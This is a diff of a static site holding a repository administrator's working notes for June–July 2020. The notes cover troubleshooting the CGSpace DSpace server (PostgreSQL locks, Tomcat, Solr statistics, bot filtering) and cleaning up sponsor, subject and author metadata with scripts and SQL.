    +
  • I guess Atmire fixed the CUA download issue after updating the version for Font Awesome 5, but now I get an error during ant update +
      +
    • I tried to remove the config/spring directory, but it still fails
      • +
    • The same issue happens on my local environment and on the DSpace Test server
      • +
    • I raised the issue with Atmire
      • +
    +
    • +
+

2020-06-21

+
    +
  • The PostgreSQL connections and locks still look OK on both CGSpace (linode18) and DSpace Test (linode26) after ten days or so +
      +
    • I decided to upgrade the JDBC driver on DSpace Test from 42.2.9 to 42.2.14 to leave it for a few weeks and see if the issue comes back, as it was present on the test server with DSpace 6 as well
      • +
    • As far as I can tell the issue is related to something in Tomcat > 7.0.99
      • +
    +
    • +
  • Run system updates and reboot DSpace Test
    • +
  • Re-deploy 5_x-prod branch on CGSpace, run system updates, and reboot the server +
      +
    • I had to restart Tomcat 7 once after the server came back up because some of the Solr statistics cores didn’t come up the first time
      • +
    • Unfortunately I realized that I had forgotten to update the 5_x-prod branch to include the REST API fix from last week so I had to rebuild and restart Tomcat again
      • +
    +
    • +
+

2020-06-22

+
    +
  • Skype with Peter, Abenet, Enrico, Jane, and Moayad about the latest OpenRXV developments +
      +
    • I will go visit CodeObia later this week to run through the list of issues and close the ones that are finished
      • +
    +
    • +
+

2020-06-23

+
    +
  • Peter said he’s having problems submitting an item on CGSpace and shit, it seems to be the same fucking PostgreSQL “idle in transaction” and “waiting for lock” issue we’ve been having sporadically the last few months
    • +
+

PostgreSQL connections year CGSpace

+
    +
  • The issue hadn’t occurred in almost two weeks after I downgraded Tomcat to 7.0.99 with the PostgreSQL JDBC driver version 42.2.9 so I thought it was fixed +
      +
    • Apparently it’s not related to the Tomcat or JDBC driver version, as even when I reverted back to DSpace’s really old built-in JDBC driver it still did the same thing!
      • +
    • Could it be a memory leak or something? Why now?
      • +
    • For now I will revert to the latest Tomcat 7.0.104 and PostgreSQL JDBC 42.2.14
      • +
    +
    • +
+

2020-06-24

+
    +
  • Spend some time with Moayad looking over issues for OpenRXV +
      +
    • We updated all the labels, tooltips, and filters
      • +
    • The next step is to go through the GitHub issues and close them if they are done
      • +
    +
    • +
  • I also discussed the dspace-statistics-api with Mohammed Salem +
      +
    • He made some new features to add the harvesting of twelve months of item statistics
      • +
    • We talked about extending it to be “x” amount of months and years with some sensible defaults
      • +
    • The item and items endpoints could then have ?months=12 and ?years=2 to show stats for the past “x” months or years
      • +
    • We thought other arbitrary date ranges could be added with queries like ?date_from=2020-05 etc that would query Solr on the fly and obviously be slower…
      • +
    +
    • +
+

2020-06-28

+
    +
  • Email GRID.ac to ask them about where old names for institutes are stores, as I see them in the “Disambiguate” search function online, but not in the standalone data +
      +
    • For example, both “International Laboratory for Research on Animal Diseases” (ILRAD) and “International Livestock Centre for Africa” (ILCA) correctly return a hit for “International Livestock Research Institute”, but it’s nowhere in the data
      • +
    +
    • +
  • I discovered two interesting OpenRefine reconciliation services: + +
    • +
+

2020-06-29

+ +
+

Because coverage is so broadly defined, it is preferable to use the more specific subproperties Temporal Coverage and Spatial Coverage.

+
+
    +
  • So I guess we should be using this for countries… but then all regions, countries, etc get merged together into this when you use DCTERMS +
      +
    • Perhaps better to use cg.coverage.country and crosswalk to dcterms.spatial
      • +
    • Another thing is that these values are not literals—you are supposed to embed classes…
      • +
    +
    • +
  • I also notice that there is a CrossRef funders registry with 23,000+ funders that you can download as RDF or access via an API
    • +
+
$ http 'https://api.crossref.org/funders?query=Bill+and+Melinda+Gates&mailto=a.orth@cgiar.org'
+
    +
  • Searching for “Bill and Melinda Gates” we can see the name literal and a list of alt-names literals + +
    • +
  • See the CrossRef API docs (specifically the parameters and filters)
    • +
  • I made a pull request on CG Core v2 to recommend using persistent identifiers for DOIs and ORCID iDs (#26)
    • +
  • I exported sponsors/funders from CGSpace and wrote a script to query the CrossRef API for matches:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=29) TO /tmp/2020-06-29-sponsors.csv;
+COPY 682
+
    +
  • The script is crossref-funders-lookup.py and it is based on agrovoc-lookup.py +
      +
    • On that note, I realized I need to URL encode the funder before making the search request with requests because, while the requests library does do URL encoding, it seems that it interprets characters like & as indicative query parameters and this causes searches for funders like Bill & Melinda Gates Foundation to get misinterpreted
      • +
    • So then I noticed that I had worked around this in agrovoc-lookup.py a few years ago by just ignoring subjects with special characters like apostrophes and accents!
      • +
    +
    • +
  • I tested the script on our funders:
    • +
+
$ ./crossref-funders-lookup.py -i /tmp/2020-06-29-sponsors.csv -om /tmp/sponsors-matched.txt -or /tmp/sponsors-rejected.txt -d -e blah@blah.com
+$ wc -l /tmp/2020-06-29-sponsors.csv 
+682 /tmp/2020-06-29-sponsors.csv
+$ wc -l /tmp/sponsors-*
+  180 /tmp/sponsors-matched.txt
+  502 /tmp/sponsors-rejected.txt
+  682 total
+
    +
  • It seems that 35% of our funders already match… I bet a few more will match if I check for simple errors +
      +
    • Interesting, I found a few funders that we have correct, but can’t figure out how to match them in the API: +
        +
      • Claussen-Simon-Stiftung
        • +
      • H2020 Marie Skłodowska-Curie Actions
        • +
      +
      • +
    +
    • +
+

2020-06-30

+
    +
  • GRID responded to my question about historical names +
      +
    • They said the information is not part of the public GRID or ROR lists, but you can access it with a license to the Dimensions API
      • +
    +
    • +
  • Gabriela from CIP sent me a list of erroneously added CIP subjects to remove from CGSpace:
    • +
+
$ cat /tmp/2020-06-30-remove-cip-subjects.csv 
+cg.subject.cip
+INTEGRATED PEST MANAGEMENT
+ORANGE FLESH SWEET POTATOES
+AEROPONICS
+FOOD SUPPLY
+SASHA
+SPHI
+INSECT LIFE CYCLE MODELLING
+SUSTAIN
+AGRICULTURAL INNOVATIONS
+NATIVE VARIETIES
+PHYTOPHTHORA INFESTANS
+$ ./delete-metadata-values.py -i /tmp/2020-06-30-remove-cip-subjects.csv -db dspace -u dspace -p 'fuuu' -f cg.subject.cip -m 127 -d
+
    +
  • She also wants to change their SWEET POTATOES term to SWEETPOTATOES, both in the CIP subject list and existing items so I updated those too:
    • +
+
$ cat /tmp/2020-06-30-fix-cip-subjects.csv 
+cg.subject.cip,correct
+SWEET POTATOES,SWEETPOTATOES
+$ ./fix-metadata-values.py -i /tmp/2020-06-30-fix-cip-subjects.csv -db dspace -u dspace -p 'fuuu' -f cg.subject.cip -t correct -m 127 -d
+
    +
  • She also finished doing all the corrections to authors that I had sent her last week, but many of the changes are removing Spanish accents from authors names so I asked if she’s really should she wants to do that
    • +
  • I ran the fixes and deletes on CGSpace, but not on DSpace Test yet because those scripts need updating for DSpace 6 UUIDs
    • +
  • I spent about two hours manually checking our sponsors that were rejected from CrossRef and found about fifty-five corrections that I ran on CGSpace:
    • +
+
$ cat 2020-06-29-fix-sponsors.csv
+dc.description.sponsorship,correct
+"Conselho Nacional de Desenvolvimento Científico e Tecnológico, Brazil","Conselho Nacional de Desenvolvimento Científico e Tecnológico"
+"Claussen Simon Stiftung","Claussen-Simon-Stiftung"
+"Fonds pour la formation á la Recherche dans l'Industrie et dans l'Agriculture, Belgium","Fonds pour la Formation à la Recherche dans l’Industrie et dans l’Agriculture"
+"Fundação de Amparo à Pesquisa do Estado de São Paulo, Brazil","Fundação de Amparo à Pesquisa do Estado de São Paulo"
+"Schlumberger Foundation Faculty for the Future","Schlumberger Foundation"
+"Wildlife Conservation Society, United States","Wildlife Conservation Society"
+"Portuguese Foundation for Science and Technology","Portuguese Science and Technology Foundation"
+"Wageningen University and Research","Wageningen University and Research Centre"
+"Leverhulme Centre for Integrative Research in Agriculture and Health","Leverhulme Centre for Integrative Research on Agriculture and Health"
+"Natural Science and Engineering Research Council of Canada","Natural Sciences and Engineering Research Council of Canada"
+"Biotechnology and Biological Sciences Research Council, United Kingdom","Biotechnology and Biological Sciences Research Council"
+"Home Grown Ceraels Authority United Kingdom","Home-Grown Cereals Authority"
+"Fiat Panis Foundation","Foundation fiat panis"
+"Defence Science and Technology Laboratory, United Kingdom","Defence Science and Technology Laboratory"
+"African Development Bank","African Development Bank Group"
+"Ministry of Health, Labour, and Welfare, Japan","Ministry of Health, Labour and Welfare"
+"World Academy of Sciences","The World Academy of Sciences"
+"Agricultural Research Council, South Africa","Agricultural Research Council"
+"Department of Homeland Security, USA","U.S. Department of Homeland Security"
+"Quadram Institute","Quadram Institute Bioscience"
+"Google.org","Google"
+"Department for Environment, Food and Rural Affairs, United Kingdom","Department for Environment, Food and Rural Affairs, UK Government"
+"National Commission for Science, Technology and Innovation, Kenya","National Commission for Science, Technology and Innovation"
+"Hainan Province Natural Science Foundation of China","Natural Science Foundation of Hainan Province"
+"German Society for International Cooperation (GIZ)","GIZ"
+"German Federal Ministry of Food and Agriculture","Federal Ministry of Food and Agriculture"
+"State Key Laboratory of Environmental Geochemistry, China","State Key Laboratory of Environmental Geochemistry"
+"QUT student scholarship","Queensland University of Technology"
+"Australia Centre for International Agricultural Research","Australian Centre for International Agricultural Research"
+"Belgian Science Policy","Belgian Federal Science Policy Office"
+"U.S. Department of Agriculture USDA","U.S. Department of Agriculture"
+"U.S.. Department of Agriculture (USDA)","U.S. Department of Agriculture"
+"Fundação de Amparo à Pesquisa do Estado de São Paulo ( FAPESP)","Fundação de Amparo à Pesquisa do Estado de São Paulo"
+"Fundação de Amparo à Pesquisa do Estado do Rio Grande do Sul, Brazil","Fundação de Amparo à Pesquisa do Estado do Rio Grande do Sul"
+"Fundação de Amparo à Pesquisa do Estado do Rio de Janeiro, Brazil","Fundação Carlos Chagas Filho de Amparo à Pesquisa do Estado do Rio de Janeiro"
+"Swedish University of Agricultural Sciences (SLU)","Swedish University of Agricultural Sciences"
+"U.S. Department of Agriculture (USDA)","U.S. Department of Agriculture"
+"Swedish International Development Cooperation Agency (Sida)","Sida"
+"Swedish International Development Agency","Sida"
+"Federal Ministry for Economic Cooperation and Development, Germany","Federal Ministry for Economic Cooperation and Development"
+"Natural Environment Research Council, United Kingdom","Natural Environment Research Council"
+"Economic and Social Research Council, United Kingdom","Economic and Social Research Council"
+"Medical Research Council, United Kingdom","Medical Research Council"
+"Federal Ministry for Education and Research, Germany","Federal Ministry for Education, Science, Research and Technology"
+"UK Government’s Department for International Development","Department for International Development, UK Government"
+"Department for International Development, United Kingdom","Department for International Development, UK Government"
+"United Nations Children's Fund","United Nations Children's Emergency Fund"
+"Swedish Research Council for Environment, Agricultural Science and Spatial Planning","Swedish Research Council for Environment, Agricultural Sciences and Spatial Planning"
+"Agence Nationale de la Recherche, France","French National Research Agency"
+"Fondation pour la recherche sur la biodiversité","Foundation for Research on Biodiversity"
+"Programa Nacional de Innovacion Agraria, Peru","Programa Nacional de Innovación Agraria, Peru"
+"United States Agency for International Development (USAID)","United States Agency for International Development"
+"West Africa Agricultural Productivity Programme","West Africa Agricultural Productivity Program"
+"West African Agricultural Productivity Project","West Africa Agricultural Productivity Program"
+"Rural Development Administration, Republic of Korea","Rural Development Administration"
+"UK’s Biotechnology and Biological Sciences Research Council (BBSRC)","Biotechnology and Biological Sciences Research Council"
+$ ./fix-metadata-values.py -i /tmp/2020-06-29-fix-sponsors.csv -db dspace -u dspace -p 'fuuu' -f dc.description.sponsorship -t correct -m 29
+
    +
  • Then I started a full re-index at batch CPU priority:
    • +
+
$ time chrt --batch 0 dspace index-discovery -b
+
+real    99m16.230s
+user    11m23.245s
+sys     2m56.635s
+
    +
  • Peter wants me to add “CORONAVIRUS DISEASE” to all ILRI items that have ILRI subject “COVID19” +
      +
    • I exported the ILRI community and cut the columns I needed, then opened the file in OpenRefine:
      • +
    +
    • +
+
$ export JAVA_OPTS="-Xmx512m -Dfile.encoding=UTF-8"
+$ dspace metadata-export -i 10568/1 -f /tmp/ilri.cs
+$ csvcut -c 'id,cg.subject.ilri[],cg.subject.ilri[en_US],dc.subject[en_US]' /tmp/ilri.csv > /tmp/ilri-covid19.csv
+
    +
  • I see that all items with “COVID19” already have “CORONAVIRUS DISEASE” so I don’t need to do anything
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2020-07/index.html b/docs/2020-07/index.html new file mode 100644 index 000000000..aee084534 --- /dev/null +++ b/docs/2020-07/index.html @@ -0,0 +1,1196 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + July, 2020 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

July, 2020

+

+ + in + Notes + + +

+
+

2020-07-01

+
    +
  • A few users noticed that CGSpace wasn’t loading items today, item pages seem blank +
      +
    • I looked at the PostgreSQL locks but they don’t seem unusual
      • +
    • I guess this is the same “blank item page” issue that we had a few times in 2019 that we never solved
      • +
    • I restarted Tomcat and PostgreSQL and the issue was gone
      • +
    +
    • +
  • Since I was restarting Tomcat anyways I decided to redeploy the latest changes from the 5_x-prod branch and I added a note about COVID-19 items to the CGSpace frontpage at Peter’s request
    • +
+
    +
  • Also, Linode is alerting that we had high outbound traffic rate early this morning around midnight AND high CPU load later in the morning
    • +
  • First looking at the traffic in the morning:
    • +
+
# cat /var/log/nginx/*.log.1 /var/log/nginx/*.log | grep -E "01/Jul/2020:(00|01|02|03|04)" | goaccess --log-format=COMBINED -
+...
+9659 33.56%    1  0.08% 340.94 MiB 64.39.99.13
+3317 11.53%    1  0.08% 871.71 MiB 199.47.87.140
+2986 10.38%    1  0.08%  17.39 MiB 199.47.87.144
+2286  7.94%    1  0.08%  13.04 MiB 199.47.87.142
+
    +
  • 64.39.99.13 belongs to Qualys, but I see they are using a normal desktop user agent:
    • +
+
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15
+
    +
  • I will purge hits from that IP from Solr
    • +
  • The 199.47.87.x IPs belong to Turnitin, and apparently they are NOT marked as bots and we have 40,000 hits from them in 2020 statistics alone:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics/select" -d "q=userAgent:/Turnitin.*/&rows=0" | grep -oE 'numFound="[0-9]+"'
+numFound="41694"
+
    +
  • They used to be “TurnitinBot”… hhmmmm, seems they use both: https://turnitin.com/robot/crawlerinfo.html
    • +
  • I will add Turnitin to the DSpace bot user agent list, but I see they are reqesting robots.txt and only requesting item pages, so that’s impressive! I don’t need to add them to the “bad bot” rate limit list in nginx
    • +
  • While looking at the logs I noticed eighty-one IPs in the range 185.152.250.x making little requests this user agent:
    • +
+
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:76.0) Gecko/20100101 Firefox/76.0
+
    +
  • The IPs all belong to HostRoyale:
    • +
+
# cat /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep '01/Jul/2020' | awk '{print $1}' | grep 185.152.250. | sort | uniq | wc -l
+81
+# cat /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep '01/Jul/2020' | awk '{print $1}' | grep 185.152.250. | sort | uniq | sort -h
+185.152.250.1
+185.152.250.101
+185.152.250.103
+185.152.250.105
+185.152.250.107
+185.152.250.111
+185.152.250.115
+185.152.250.119
+185.152.250.121
+185.152.250.123
+185.152.250.125
+185.152.250.129
+185.152.250.13
+185.152.250.131
+185.152.250.133
+185.152.250.135
+185.152.250.137
+185.152.250.141
+185.152.250.145
+185.152.250.149
+185.152.250.153
+185.152.250.155
+185.152.250.157
+185.152.250.159
+185.152.250.161
+185.152.250.163
+185.152.250.165
+185.152.250.167
+185.152.250.17
+185.152.250.171
+185.152.250.183
+185.152.250.189
+185.152.250.191
+185.152.250.197
+185.152.250.201
+185.152.250.205
+185.152.250.209
+185.152.250.21
+185.152.250.213
+185.152.250.217
+185.152.250.219
+185.152.250.221
+185.152.250.223
+185.152.250.225
+185.152.250.227
+185.152.250.229
+185.152.250.231
+185.152.250.233
+185.152.250.235
+185.152.250.239
+185.152.250.243
+185.152.250.247
+185.152.250.249
+185.152.250.25
+185.152.250.251
+185.152.250.253
+185.152.250.255
+185.152.250.27
+185.152.250.29
+185.152.250.3
+185.152.250.31
+185.152.250.39
+185.152.250.41
+185.152.250.47
+185.152.250.5
+185.152.250.59
+185.152.250.63
+185.152.250.65
+185.152.250.67
+185.152.250.7
+185.152.250.71
+185.152.250.73
+185.152.250.77
+185.152.250.81
+185.152.250.85
+185.152.250.89
+185.152.250.9
+185.152.250.93
+185.152.250.95
+185.152.250.97
+185.152.250.99
+
    +
  • It’s only a few hundred requests each, but I am very suspicious so I will record it here and purge their IPs from Solr
    • +
  • Then I see 185.187.30.14 and 185.187.30.13 making requests also, with several different “normal” user agents +
      +
    • They are both apparently in France, belonging to Scalair FR hosting
      • +
    • I will purge their requests from Solr too
      • +
    +
    • +
  • Now I see some other new bots I hadn’t noticed before: +
      +
    • Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) LinkCheck by Siteimprove.com
      • +
    • Consilio (WebHare Platform 4.28.2-dev); LinkChecker), which appears to be a university CMS
      • +
    • I will add LinkCheck, Consilio, and WebHare to the list of DSpace bot agents and purge them from Solr stats
      • +
    • COUNTER-Robots list already has link.?check but for some reason DSpace didn’t match that and I see hits for some of these…
      • +
    • Maybe I should add [Ll]ink.?[Cc]heck.? to a custom list for now?
      • +
    • For now I added Turnitin to the new bots pull request on COUNTER-Robots
      • +
    +
    • +
  • I purged 20,000 hits from IPs and 45,000 hits from user agents
    • +
  • I will revert the default “example” agents file back to the upstream master branch of COUNTER-Robots, and then add all my custom ones that are pending in pull requests they haven’t merged yet:
    • +
+
$ diff --unchanged-line-format= --old-line-format= --new-line-format='%L' dspace/config/spiders/agents/example ~/src/git/COUNTER-Robots/COUNTER_Robots_list.txt
+Citoid
+ecointernet
+GigablastOpenSource
+Jersey\/\d
+MarcEdit
+OgScrper
+okhttp
+^Pattern\/\d
+ReactorNetty\/\d
+sqlmap
+Typhoeus
+7siters
+
    +
  • Just a note that I still can’t deploy the 6_x-dev-atmire-modules branch as it fails at ant update:
    • +
+
     [java] java.lang.RuntimeException: Failed to startup the DSpace Service Manager: failure starting up spring service manager: Error creating bean with name 'DefaultStorageUpdateConfig': Injection of autowired dependencies failed; nested exception is org.springframework.beans.factory.BeanCreationException: Could not autowire method: public void com.atmire.statistics.util.StorageReportsUpdater.setStorageReportServices(java.util.List); nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'cuaEPersonStorageReportService': Injection of autowired dependencies failed; nested exception is org.springframework.beans.factory.BeanCreationException: Could not autowire field: private com.atmire.dspace.cua.dao.storage.CUAEPersonStorageReportDAO com.atmire.dspace.cua.CUAStorageReportServiceImpl$CUAEPersonStorageReportServiceImpl.CUAEPersonStorageReportDAO; nested exception is org.springframework.beans.factory.NoUniqueBeanDefinitionException: No qualifying bean of type [com.atmire.dspace.cua.dao.storage.CUAEPersonStorageReportDAO] is defined: expected single matching bean but found 2: com.atmire.dspace.cua.dao.impl.CUAStorageReportDAOImpl$CUAEPersonStorageReportDAOImpl#0,com.atmire.dspace.cua.dao.impl.CUAStorageReportDAOImpl$CUAEPersonStorageReportDAOImpl#1
+
    +
  • I had told Atmire about this several weeks ago… but I reminded them again in the ticket +
      +
    • Atmire says they are able to build fine, so I tried again and noticed that I had been building with -Denv=dspacetest.cgiar.org, which is not necessary for DSpace 6 of course
      • +
    • Once I removed that it builds fine
      • +
    +
    • +
  • I quickly re-applied the Font Awesome 5 changes to use SVG+JS instead of web fonts (from 2020-04) and things are looking good!
    • +
  • Run all system updates on DSpace Test (linode26), deploy latest 6_x-dev-atmire-modules branch, and reboot it
    • +
+

2020-07-02

+
    +
  • I need to export some Solr statistics data from CGSpace to test Salem’s modifications to the dspace-statistics-api +
      +
    • He modified it to query Solr on the fly instead of indexing it, which will be heavier and slower, but allows us to get more granular stats and countries/cities
      • +
    • Because have so many records I want to use solr-import-export-json to get several months at a time with a date range, but it seems there are first issues with curl (need to disable globbing with -g and URL encode the range)
      • +
    • For reference, the Solr 4.10.x DateField docs
      • +
    • This range works in Solr UI: [2019-01-01T00:00:00Z TO 2019-06-30T23:59:59Z]
      • +
    • As well in curl:
      • +
    +
    • +
+
$ curl -g -s 'http://localhost:8081/solr/statistics-2019/select?q=*:*&fq=time:%5B2019-01-01T00%3A00%3A00Z%20TO%202019-06-30T23%3A59%3A59Z%5D&rows=0&wt=json&indent=true'
+{
+  "responseHeader":{
+    "status":0,
+    "QTime":0,
+    "params":{
+      "q":"*:*",
+      "indent":"true",
+      "fq":"time:[2019-01-01T00:00:00Z TO 2019-06-30T23:59:59Z]",
+      "rows":"0",
+      "wt":"json"}},
+  "response":{"numFound":7784285,"start":0,"docs":[]
+  }}
+
    +
  • But not in solr-import-export-json… hmmm… seems we need to URL encode only the date range itself, but not the brackets:
    • +
+
$ ./run.sh -s http://localhost:8081/solr/statistics-2019 -a export -o /tmp/statistics-2019-1.json -f 'time:%5B2019-01-01T00%3A00%3A00Z%20TO%202019-06-30T23%3A59%3A59Z]' -k uid
+$ zstd /tmp/statistics-2019-1.json
+
    +
  • Then import it on my local dev environment:
    • +
+
$ zstd -d statistics-2019-1.json.zst
+$ ./run.sh -s http://localhost:8080/solr/statistics -a import -o ~/Downloads/statistics-2019-1.json -k uid
+

2020-07-05

+
    +
  • Import twelve items into the CRP Livestock multimedia collection for Peter Ballantyne +
      +
    • I ran the data through csv-metadata-quality first to validate and fix some common mistakes
      • +
    • Interesting to check the data with csvstat to see if there are any duplicates
      • +
    +
    • +
  • Peter recently asked me to add Target audience (cg.targetaudience) to the CGSpace sidebar facets and AReS filters +
      +
    • I added it on my local DSpace test instance, but I’m waiting for him to tell me what he wants the header to be “Audiences” or “Target audience” etc…
      • +
    +
    • +
  • Peter also asked me to increase the size of links in the CGSpace “Welcome” text +
      +
    • I suggested using the CSS font-size: larger property to just bump it up one relative to what it already is
      • +
    • He said it looks good, but that actually now the links seem OK (I told him to refresh, as I had made them bold a few days ago) so we don’t need to adjust it actually
      • +
    +
    • +
  • Mohammed Salem modified my dspace-statistics-api to query Solr directly so I started writing a script to benchmark it today +
      +
    • I will monitor the JVM memory and CPU usage in visualvm, just like I did in 2019-04
      • +
    • I noticed an issue with his limit parameter so I sent him some feedback on that in the meantime
      • +
    +
    • +
  • I noticed that we have 20,000 distinct values for dc.subject, but there are at least 500 that are lower or mixed case that we should simply uppercase without further thought:
    • +
+
dspace=# UPDATE metadatavalue SET text_value=UPPER(text_value) WHERE resource_type_id=2 AND metadata_field_id=57 AND text_value ~ '[[:lower:]]';
+
    +
  • DSpace Test needs a different query because it is running DSpace 6 with UUIDs for everything:
    • +
+
dspace63=# UPDATE metadatavalue SET text_value=UPPER(text_value) WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=57 AND text_value ~ '[[:lower:]]';
+
    +
  • Note the use of the POSIX character class :)
    • +
  • I suggest that we generate a list of the top 5,000 values that don’t match AGROVOC so that Sisay can correct them +
      +
    • Start by getting the top 6,500 subjects (assuming that the top ~1,500 are valid from our previous work):
      • +
    +
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value, count(text_value) FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=57 GROUP BY text_value ORDER BY count DESC) TO /tmp/2020-07-05-subjects.csv WITH CSV;
+COPY 19640
+dspace=# \q
+$ csvcut -c1 /tmp/2020-07-05-subjects-upper.csv | head -n 6500 > 2020-07-05-cgspace-subjects.txt
+
    +
  • Then start looking them up using agrovoc-lookup.py:
    • +
+
$ ./agrovoc-lookup.py -i 2020-07-05-cgspace-subjects.txt -om 2020-07-05-cgspace-subjects-matched.txt -or 2020-07-05-cgspace-subjects-rejected.txt -d
+

2020-07-06

+
    +
  • I made some optimizations to the suite of Python utility scripts in our DSpace directory as well as the csv-metadata-quality script +
      +
    • Mostly to make more efficient usage of the requests cache and to use parameterized requests instead of building the request URL by concatenating the URL with query parameters
      • +
    +
    • +
  • I modified the agrovoc-lookup.py script to save its results as a CSV, with the subject, language, type of match (preferred, alternate, and total number of matches) rather than save two separate files +
      +
    • Note that I see prefLabel, matchedPrefLabel, and altLabel in the REST API responses and I’m not sure what the second one means
      • +
    • I emailed FAO’s AGROVOC contact to ask them
      • +
    • They responded to say that matchedPrefLabel is not a property in SKOS/SKOSXL vocabulary, but their SKOSMOS system seems to use it to hint that the search terms matched a prefLabel in another language
      • +
    • I will treat the matchedPrefLabel values as if they were prefLabel values for the indicated language then
      • +
    +
    • +
+

2020-07-07

+
    +
  • Peter asked me to send him a list of sponsors on CGSpace
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value as "dc.description.sponsorship", count(text_value) FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=29 GROUP BY "dc.description.sponsorship" ORDER BY count DESC) TO /tmp/2020-07-07-sponsors.csv WITH CSV HEADER;
+COPY 707
+
    +
  • I ran it quickly through my csv-metadata-quality tool and found two issues that I will correct with fix-metadata-values.py on CGSpace immediately:
    • +
+
$ cat 2020-07-07-fix-sponsors.csv
+dc.description.sponsorship,correct
+"Ministe`re des Affaires Etrange`res et Européennes, France","Ministère des Affaires Étrangères et Européennes, France"
+"Global Food Security Programme,  United Kingdom","Global Food Security Programme, United Kingdom"
+$ ./fix-metadata-values.py -i 2020-07-07-fix-sponsors.csv -db dspace -u dspace -p 'fuuu' -f dc.description.sponsorship -t correct -m 29
+
    +
  • Upload the Capacity Development July newsletter to CGSpace for Ben Hack because Abenet and Bizu usually do it, but they are currently offline due to the Internet being turned off in Ethiopia + +
    • +
  • I implemented the Dimensions.ai badge on DSpace Test for Peter to see, as he’s been asking me for awhile:
    • +
+

Dimensions.ai badge

+
    +
  • It was easy once I figured out how to do the XSLT in the DSpace theme (need to get the DOI link and remove the “https://doi.org/" from the string) +
      +
    • Actually this raised an issue that the Altmetric badges weren’t enabled in our DSpace 6 branch yet because I had forgotten to copy the config
      • +
    • Also, I noticed a big issue in both our DSpace 5 and DSpace 6 branches related to the $identifier_doi variable being defined incorrectly and thus never getting set (has to do with DRI)
      • +
    • I fixed both and now the Altmetric badge and the Dimensions badge both appear… nice
      • +
    +
    • +
+

Altmetric and Dimensions.ai badge

+

2020-07-08

+
    +
  • Generate a CSV of all the AGROVOC subjects that didn’t match from the top 6500 I exported earlier this week:
    • +
+
$ csvgrep -c 'number of matches' -r "^0$" 2020-07-05-cgspace-subjects.csv | csvcut -c 1 > 2020-07-05-cgspace-invalid-subjects.csv
+
    +
  • Yesterday Gabriela from CIP emailed to say that she was removing the accents from her authors’ names because of “funny character” issues with reports generated from CGSpace +
      +
    • I told her that it’s probably her Windows / Excel that is messing up the data, and she figured out how to open them correctly!
      • +
    • Now she says she doesn’t want to remove the accents after all and she sent me a new list of corrections
      • +
    • I used csvgrep and found a few where she is still removing accents:
      • +
    +
    • +
+
$ csvgrep -c 2 -r "^.+$" ~/Downloads/cip-authors-GH-20200706.csv | csvgrep -c 1 -r "^.*[À-ú].*$" | csvgrep -c 2 -r "^.*[À-ú].*$" -i | csvcut -c 1,2
+dc.contributor.author,correction
+"López, G.","Lopez, G."
+"Gómez, R.","Gomez, R."
+"García, M.","Garcia, M."
+"Mejía, A.","Mejia, A."
+"Quiróz, Roberto A.","Quiroz, R."
+
    +
  • +

    csvgrep from the csvkit suite is so cool:

    +
      +
    • Select lines with column two (the correction) having a value
      • +
    • Select lines with column one (the original author name) having an accent / diacritic
      • +
    • Select lines with column two (the correction) NOT having an accent (ie, she’s not removing an accent)
      • +
    • Select columns one and two
      • +
    +
    • +
  • +

    Peter said he liked the work I didn on the badges yesterday so I put some finishing touches on it to detect more DOI URI styles and pushed it to the 5_x-prod branch

    +
      +
    • I will port it to DSpace 6 soon
      • +
    +
    • +
+

Altmetric and Dimensions badges

+
    +
  • I wrote a quick script to lookup organizations (affiliations) in the Research Organization Repository (ROR) JSON data release v5 +
      +
    • I want to use this to evaluate ROR as a controlled vocabulary for CGSpace and MELSpace
      • +
    • I exported a list of affiliations from CGSpace:
      • +
    +
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value as "cg.contributor.affiliation", count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 211 GROUP BY text_value ORDER BY count DESC) to /tmp/2020-07-08-affiliations.csv WITH CSV HEADER;
+
    +
  • Then I stripped the CSV header and quotes to make it a plain text file and ran ror-lookup.py:
    • +
+
$ ./ror-lookup.py -i /tmp/2020-07-08-affiliations.txt -r ror.json -o 2020-07-08-affiliations-ror.csv -d
+$ wc -l /tmp/2020-07-08-affiliations.txt 
+5866 /tmp/2020-07-08-affiliations.txt
+$ csvgrep -c matched -m true 2020-07-08-affiliations-ror.csv | wc -l 
+1406
+$ csvgrep -c matched -m false 2020-07-08-affiliations-ror.csv | wc -l
+4462
+
    +
  • So, minus the CSV header, we have 1405 case-insensitive matches out of 5866 (23.9%)
    • +
+

2020-07-09

+
    +
  • Atmire responded to the ticket about DSpace 6 and Solr yesterday +
      +
    • They said that the CUA issue is due to the “unmigrated” Solr records and that we should delete them
      • +
    • I told them that the “unmigrated” IDs are a known issue in DSpace 6 and we should rather figure out why they are unmigrated
      • +
    • I didn’t see any discussion on the dspace-tech mailing list or on DSpace Jira about unmigrated IDs, so I sent a mail to the mailing list to ask
      • +
    +
    • +
  • I updated ror-lookup.py to check aliases and acronyms as well and now the results are better for CGSpace’s affiliation list:
    • +
+
$ wc -l /tmp/2020-07-08-affiliations.txt 
+5866 /tmp/2020-07-08-affiliations.txt
+$ csvgrep -c matched -m true 2020-07-08-affiliations-ror.csv | wc -l 
+1516
+$ csvgrep -c matched -m false 2020-07-08-affiliations-ror.csv | wc -l
+4352
+
    +
  • So now our matching improves to 1515 out of 5866 (25.8%)
    • +
  • Gabriela from CIP said that I should run the author corrections minus those that remove accent characters so I will run it on CGSpace:
    • +
